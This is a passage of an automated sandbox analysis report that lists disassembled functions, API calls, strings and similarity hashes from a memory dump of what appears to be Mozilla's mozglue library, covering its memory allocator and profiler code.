floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC3EE2

Part of subcall function 6CAC6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CAC61DD
Part of subcall function 6CAC6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CAC622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC4157

Part of subcall function 6CAC6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CAC6250
Part of subcall function 6CAC6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAC6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAC484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAC4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAC4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAC4896
free.MOZGLUE ref: 6CAC489F

Strings

, xrefs: 6CAC4CD2
D($/, xrefs: 6CAC34DB

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID: $D($/
API String ID: 3842999660-2549499287
Opcode ID: a64725be092728d8bbcc52543fff2dd7c6be2cae4789e8fc0010ca514a410852
Instruction ID: cc881298faac52f1bd9c033ed786e0bc1b32a8ea03621ed1447aa446a60edf57
Opcode Fuzzy Hash: a64725be092728d8bbcc52543fff2dd7c6be2cae4789e8fc0010ca514a410852
Instruction Fuzzy Hash: 61F24D74908B818FC765CF28C1846AAFBF1FFC9308F158A5ED99997711DB319886CB42

Function 6CA764C0 Relevance: 54.7, APIs: 24, Strings: 7, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CA764DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CA764F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CA76505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CA76518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA7652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CA7671C
GetCurrentProcess.KERNEL32 ref: 6CA76724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA7672F
GetCurrentProcess.KERNEL32 ref: 6CA76759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA76764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CA76A80
GetSystemInfo.KERNEL32(?), ref: 6CA76ABE
__Init_thread_footer.LIBCMT ref: 6CA76AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA76AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA76AF7

Strings

nvdxgiwrap.dll, xrefs: 6CA76513
nvd3d9wrap.dll, xrefs: 6CA76500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CA76798
user32.dll, xrefs: 6CA76526
_etoured.dll, xrefs: 6CA764ED
detoured.dll, xrefs: 6CA764DA
D($/, xrefs: 6CA764D0

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll$D($/
API String ID: 487479824-4064702585
Opcode ID: bf04ba4927fcbc32791d90cbea37b195ca33ee7127c63e6d032f86bfd324a030
Instruction ID: a61ac5bc1842c927f824b6464b388f1683ff74b212fd1ad3b5bbc7e77ba8c36a
Opcode Fuzzy Hash: bf04ba4927fcbc32791d90cbea37b195ca33ee7127c63e6d032f86bfd324a030
Instruction Fuzzy Hash: 34F1C17490531A9FDB308F64CD48B9AB7B5BF49318F1882A9D809A7741D731AEC5CFA0

Function 6CA960A0 Relevance: 51.9, APIs: 22, Strings: 7, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA960C9
LeaveCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA9610D
EnterCriticalSection.KERNEL32(?), ref: 6CA9618C
LeaveCriticalSection.KERNEL32(?), ref: 6CA961F9

Strings

MALLOC_OPTIONS, xrefs: 6CA96888
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA96BC7, 6CA96F97, 6CA96FB2
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA96B6A
<jemalloc>, xrefs: 6CA96AA9, 6CA96B59
MOZ_CRASH(), xrefs: 6CA96AB8
D($/, xrefs: 6CA960AC
Compile-time page size does not divide the runtime one., xrefs: 6CA96AAE

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)$D($/
API String ID: 3168844106-2380335666
Opcode ID: 26aaa543f79111ab3c5440c002145570b3e0d668d531fa1173cc1a3bf6b813cd
Instruction ID: b64152e09ce1fbd34320ef486890181116db9fdeebb597377b24c10d04750f1e
Opcode Fuzzy Hash: 26aaa543f79111ab3c5440c002145570b3e0d668d531fa1173cc1a3bf6b813cd
Instruction Fuzzy Hash: 4BA2AC71A257018FD748CF29C551615BBF1BF89328F29C66DE86A8BB91C731E881CBC1

Function 6CACC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CACC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CACC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CACC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CACC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CACC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CACCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CACCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CACDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CACDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CACDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CACDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CACDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CACE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CACE432
memcpy.VCRUNTIME140(?,?,?), ref: 6CACE472

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 43f148356bd0a371c56f873f59e065cff14ca9e382284014232d149633f7dab2
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: C933BC71E0021ACFCB04CFACC8806ADBBF2FF49314F298269D955AB755D731A985CB91

Function 6CA7FD00 Relevance: 32.9, APIs: 17, Strings: 4, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEE7B8), ref: 6CA7FF81
LeaveCriticalSection.KERNEL32(6CAEE7B8), ref: 6CA8022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA80240
EnterCriticalSection.KERNEL32(6CAEE768), ref: 6CA8025B
LeaveCriticalSection.KERNEL32(6CAEE768), ref: 6CA8027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA80D67, 6CA80D7B, 6CA80DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA7FE99, 6CA7FEB7, 6CA7FED3, 6CA80DB8, 6CA80DD3, 6CA819B4
D($/, xrefs: 6CA7FEFF
<jemalloc>, xrefs: 6CA80D62, 6CA80D76, 6CA80DA7

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)$D($/
API String ID: 618468079-1935118084
Opcode ID: 184653da05668547464149971f0799eed417a2d78968be393dea1da02d8b6dcb
Instruction ID: c9da73c567a6f31db4555dee0b7c4974f4c029b0a1ba3eed908d199dc4649281
Opcode Fuzzy Hash: 184653da05668547464149971f0799eed417a2d78968be393dea1da02d8b6dcb
Instruction Fuzzy Hash: 5FC2B171A067418FD714CF28C980716BBE1FF89328F28C66DE5A98B795D771E881CB81

Function 6CACE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CACE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CACEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CACEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CACEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CACF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CACF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAD0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CAD0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CAD0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CAD0ED4

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 88a752463f58847ea5af50a445c056d7a910c788d10a2499bc1334ed634e231d
Instruction ID: 425387898a9be93a53131446b6d9d9307cd503539d8f4517366e317e2383b574
Opcode Fuzzy Hash: 88a752463f58847ea5af50a445c056d7a910c788d10a2499bc1334ed634e231d
Instruction Fuzzy Hash: 40638F71E0025A8FCB04CFACC8906EDFBB2FF89314F298269D555AB755D730A985CB90

Function 6CA8ED10 Relevance: 30.9, APIs: 16, Strings: 1, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CA8EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CA8EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CA91695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA916B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CA91770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA91A3E

Strings

D($/, xrefs: 6CA8ED25

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: D($/
API String ID: 3693777188-324952136
Opcode ID: 424a8c5f1bececb9debecee656063e08a03dd711ff1cc9c60ddc6b565c80fcad
Instruction ID: 9c742e67eb04ef6234cf53b7c0e54b6d77f13a875cda7033a46caf0d10e4dd15
Opcode Fuzzy Hash: 424a8c5f1bececb9debecee656063e08a03dd711ff1cc9c60ddc6b565c80fcad
Instruction Fuzzy Hash: 00B34A71E112198FCB14CFA9C881AADB7F2FF49304F2982A9D549AB745D730AD85CF90

Function 6CAA3E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CAC7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CAA3E7D,?,?,?,6CAA3E7D,?,?), ref: 6CAC777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CAA3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CAA3F5C
VerSetConditionMask.NTDLL ref: 6CAA3F8D
VerSetConditionMask.NTDLL ref: 6CAA3F99
VerSetConditionMask.NTDLL ref: 6CAA3FA0
VerSetConditionMask.NTDLL ref: 6CAA3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAA3FB4

Strings

nvd3d9wrap.dll, xrefs: 6CAA4466
nvinit.dll, xrefs: 6CAA4479
D($/, xrefs: 6CAA3E66

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll$D($/
API String ID: 1189858803-1985122826
Opcode ID: d62791dc2b768c2053c232d9a3dcf9f6ce7a44bacf34d49e9090ed417bd04f5e
Instruction ID: 811b567edbe41bb47759390e3b983d572b2a53b29f2390c80a9a9596541f78ac
Opcode Fuzzy Hash: d62791dc2b768c2053c232d9a3dcf9f6ce7a44bacf34d49e9090ed417bd04f5e
Instruction Fuzzy Hash: 8F52E171610B498FD725DB74C984AAB77E9BF45204F04496DE4938BB42CB34F98ECBA0

Function 6CA7FEF0 Relevance: 25.3, APIs: 13, Strings: 3, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEE7B8), ref: 6CA7FF81
LeaveCriticalSection.KERNEL32(6CAEE7B8), ref: 6CA8022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA80240
EnterCriticalSection.KERNEL32(6CAEE768), ref: 6CA8025B
LeaveCriticalSection.KERNEL32(6CAEE768), ref: 6CA8027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA7FE99, 6CA7FEB7, 6CA7FED3, 6CA80DB8, 6CA80DD3, 6CA819B4, 6CA81A10
MOZ_CRASH(), xrefs: 6CA80CA7
D($/, xrefs: 6CA7FEFF

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)$D($/
API String ID: 618468079-2551725237
Opcode ID: 254f7d13cac4c793627d06e1dc462b4562cb530564df4fc8bb6ca490c4ee69fd
Instruction ID: e850e355b9b5bf05e6fe6a8eb5a8b5b4617683f30aa8c0f823b716308fd674a4
Opcode Fuzzy Hash: 254f7d13cac4c793627d06e1dc462b4562cb530564df4fc8bb6ca490c4ee69fd
Instruction Fuzzy Hash: 00B2A1716067418FD718CF29C590726BBE1FF85328F28C66CE9AA8B795D770D881CB81

Function 6CAB5600 Relevance: 23.7, APIs: 6, Strings: 7, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Time entry, xrefs: 6CAB5CB6
expected a Count entry, xrefs: 6CAB5AC3
ProfileBuffer parse error: %s, xrefs: 6CAB5AC8, 6CAB5CBB
name, xrefs: 6CAB5E79, 6CAB5E8F
data, xrefs: 6CAB6131
D($/, xrefs: 6CAB5613
schema, xrefs: 6CAB606D

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema$D($/
API String ID: 0-1930707863
Opcode ID: 8343e7e87d550eb6363e37aa9c5a48877a01cfdaddfeae56f6addc0ff945bb7a
Instruction ID: 7d666886d92a62777d19f826b3448bbb086202dfa7d3eeb738f7f3193208c5f5
Opcode Fuzzy Hash: 8343e7e87d550eb6363e37aa9c5a48877a01cfdaddfeae56f6addc0ff945bb7a
Instruction Fuzzy Hash: 85924C71A083418FD724CF18C59079BBBE5BFC9308F15891DE59AAB751DB30E889CB92

Function 6CAB2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CAB2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CAB2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB36BF

Strings

get , xrefs: 6CAB3205
set , xrefs: 6CAB36EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6CAB378D

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: a499098e692df546346e39f26c34e08f7ea784dddf096aad5928168e5b08d612
Instruction ID: b8644e015ef740e8a857a8a055b7e9a5fca91b232294611724c3aea0db4ad44c
Opcode Fuzzy Hash: a499098e692df546346e39f26c34e08f7ea784dddf096aad5928168e5b08d612
Instruction Fuzzy Hash: BA327E706093818FD324CF24C4906AFBBE6AFC9318F54891DE5DA97751DB31E88ACB52

Function 6CAA7E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6CAA7E88
name, xrefs: 6CAA7ECF, 6CAA8335
data, xrefs: 6CAA8280, 6CAA83E1
D($/, xrefs: 6CAA7E24
schema, xrefs: 6CAA81E3, 6CAA8311

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$D($/
API String ID: 3412268980-1443541229
Opcode ID: 9a7a1d9c52d6e7dace8a64fcadff0d785a027991963205c59ddf7600ec2ebfd7
Instruction ID: d0f73eb96fcb61d24b7ea89cbceeb9e9d429434e3636f3d5cbba4107e3bf7413
Opcode Fuzzy Hash: 9a7a1d9c52d6e7dace8a64fcadff0d785a027991963205c59ddf7600ec2ebfd7
Instruction Fuzzy Hash: DBE18EB1A043508FD710CF68884066BFBE9BF89314F158A2DE895D7791DBB0ED898B91

Function 6CA8D4D0 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA9D1C5), ref: 6CA8D4F2
LeaveCriticalSection.KERNEL32(6CAEE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA9D1C5), ref: 6CA8D50B

Part of subcall function 6CA6CFE0: EnterCriticalSection.KERNEL32(6CAEE784), ref: 6CA6CFF6
Part of subcall function 6CA6CFE0: LeaveCriticalSection.KERNEL32(6CAEE784), ref: 6CA6D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA9D1C5), ref: 6CA8D52E
EnterCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA8D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA8D6A6
LeaveCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA8D712
LeaveCriticalSection.KERNEL32(6CAEE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA9D1C5), ref: 6CA8D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA8D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CA8D82C
D($/, xrefs: 6CA8C0F9, 6CA8D4E2
<jemalloc>, xrefs: 6CA8D827

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>$D($/
API String ID: 2690322072-3350468165
Opcode ID: 211867f621766a95caffabf033043cc4ca9acff52118b4d2652e4c0ce66b441d
Instruction ID: e84669a988ccc3208f061f9d8a1741e79ab10e9cfbe5818d0151fe2867144cfd
Opcode Fuzzy Hash: 211867f621766a95caffabf033043cc4ca9acff52118b4d2652e4c0ce66b441d
Instruction Fuzzy Hash: 9C91E271E057468FD758CF29C49426AB7E1EB89318F18892FE49AC7A85D730E885CB81

Function 6CA63480 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

